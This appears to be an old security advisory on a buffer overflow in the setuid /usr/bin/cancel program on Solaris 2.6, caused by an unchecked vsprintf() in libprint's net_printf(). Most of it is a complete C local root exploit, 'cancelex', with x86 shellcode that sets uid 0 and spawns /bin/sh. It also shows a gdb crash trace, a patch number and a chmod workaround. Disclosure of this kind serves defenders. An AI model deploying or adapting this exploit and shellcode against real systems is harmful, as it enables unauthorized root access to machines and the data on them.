COMMAND

    /usr/bin/cancel

SYSTEMS AFFECTED

    SunOS 5.6

PROBLEM

    Josh A. Strickland  found following.   There is a  buffer overflow
    in /usr/bin/cancel.  However  /usr/bin/cancel in Solaris 2.5.1  is
    not setuid root while in 2.6 which may leads us to root exploit on
    last one.   /usr/bin/cancel is  also not  setuid root  in  Solaris
    versions  prior  to  2.5.1.   BUT,  it  seems  that this is not an
    exploitable condition (2.6, remember, is the only version that  is
    suid,  so  this  is  what  we're  speaking  of),  as  only i and o
    registers are mangled, and not  pc.  However, it is  disconcerting
    that overflow problems with lpr  were fixed long ago, but  similar
    problems with other _similar_ programs like lpstat and cancel were
    not audited at the same time.   This kind of makes me wonder  what
    other lp related suid progs may have buffer overflows in them?

    All said before stands perhaps for the SPARC version, but the i386
    version certainly  is vulnerable.   This aproach  exploits another
    hole.  The hole this exploit hits is in the net_printf()  function
    (from /usr/lib/libprint.so.2) called by vcancel_remote(), using  a
    format argument of "%c%s  %s%s\n" where the first  string argument
    is  a  printer  name  (derived  from  command  line  input).    In
    net_printf()  in  Solaris  2.6,  there  is  what  appears  to be a
    vsprintf() call into a stack buffer  1024 bytes in size.  You  can
    see this in action with gdb:

	# cd /var/spool/print
	# /usr/bin/cancel localhost:`perl -e 'print "A"x2000'`
	Segmentation fault (core dumped)
	# gdb /usr/bin/cancel core
	GNU gdb 4.17

	[...]

	(gdb) where
	#0  0xdff6a7f9 in strlen ()
	#1  0xdff987c6 in _doprnt ()
	#2  0xdff9fee2 in vsprintf ()
	#3  0xdffd863e in net_printf ()
	#4  0x41414141 in ?? ()
	Cannot access memory at address 0x41414141.
	(gdb)

    Experimentation  with  Solaris  7  seems  to  indicate  that  this
    vsprintf() call in libprint was replaced with a vsnprintf()  call,
    which solves the buffer overflow, making Solaris 7 immune to  this
    particular exploit.

    /**
    ***  cancelex - i386 Solaris root exploit for /usr/bin/cancel
    ***
    ***  Tested and confirmed under Solaris 2.6 (i386)
    ***
    ***  Usage:  % cancelex hostname [offset]
    ***
    ***  where hostname is the name of a host running the printer service on
    ***  TCP port 515 (such as "localhost" perhaps) and offset (if present)
    ***  is the number of bytes to add to the stack pointer to calculate your
    ***  target return address; try -1000 to 1000 in increments of 100 for
    ***  starters.
    ***
    ***  Cheez Whiz
    ***  cheezbeast@hotmail.com
    ***
    ***  February 25, 1999
    **/

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    #define BUFLEN 1031
    #define NOP 0x90

    char shell[] =
    /*  0 */ "\xeb\x3b"                         /* jmp springboard       */
    /* syscall:                                                          */
    /*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
    /*  9 */ "\xc3"                             /* ret                   */
    /* start:                                                            */
    /* 10 */ "\x5e"                             /* popl %esi             */
    /* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 13 */ "\x89\x46\xc1"                     /* movl %eax,-0x3f(%esi) */
    /* 16 */ "\x88\x46\xc6"                     /* movb %al,-0x3a(%esi)  */
    /* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
    /* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
    /* setuid:                                                           */
    /* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 27 */ "\x50"                             /* pushl %eax            */
    /* 28 */ "\xb0\x17"                         /* movb $0x17,%al        */
    /* 30 */ "\xe8\xdf\xff\xff\xff"             /* call syscall          */
    /* 35 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
    /* execve:                                                           */
    /* 38 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 40 */ "\x50"                             /* pushl %eax            */
    /* 41 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
    /* 44 */ "\x53"                             /* pushl %ebx            */
    /* 45 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
    /* 47 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
    /* 50 */ "\x53"                             /* pushl %ebx            */
    /* 51 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
    /* 53 */ "\xe8\xc8\xff\xff\xff"             /* call syscall          */
    /* 58 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
    /* springboard:                                                      */
    /* 61 */ "\xe8\xc8\xff\xff\xff"             /* call start            */
    /* data:                                                             */
    /* 66 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
    /* 74 */ "\xff\xff\xff\xff"                 /* DATA                  */
    /* 78 */ "\xff\xff\xff\xff";                /* DATA                  */
  
    char buf[BUFLEN+1];
    char *egg;
    unsigned long int esp, nop;
    long int offset = 0;

    unsigned long int
    get_esp()
    {
	__asm__("movl %esp,%eax");
    }

    void
    main(int argc, char *argv[])
    {
	int i;

	if (argc < 2) {
	    printf("usage: %s hostname [offset]\n", argv[0]);
	    return;
	}

	esp = get_esp();

	if (argc > 2)
	    offset = strtol(argv[2], NULL, 0);

	if (argc > 3)
	    nop = strtoul(argv[3], NULL, 0);
	else
	    nop = 933;

	memset(buf, NOP, BUFLEN);
	memcpy(buf+nop, shell, strlen(shell));
	for (i = nop+strlen(shell); i <= BUFLEN-4; i += 4)
	    *((int *) &buf[i]) = esp+offset;

	if ((egg = (char *) malloc(strlen(argv[1])+1+BUFLEN+1)) == NULL) {
	    printf("malloc failed!\n");
	    return;
	}
	snprintf(egg, strlen(argv[1])+1+BUFLEN+1, "%s:%s", argv[1], buf);

	printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
	       esp+offset, esp, offset, nop);
	execl("/usr/bin/cancel", "cancel", egg, NULL);
	/* execl("/usr/ucb/lprm", "lprm", "-P", egg, NULL); */

	printf("exec failed!\n");
	return;
    }

SOLUTION

    This  buffer  overflow  was  fixed  in  Solaris  7  before  it was
    released.  If you are also using Solaris 2.6, please install patch
    106235-03.  In any case, be sure to chmod cancel now if you happen
    to run 2.6, and get the patch when it comes out.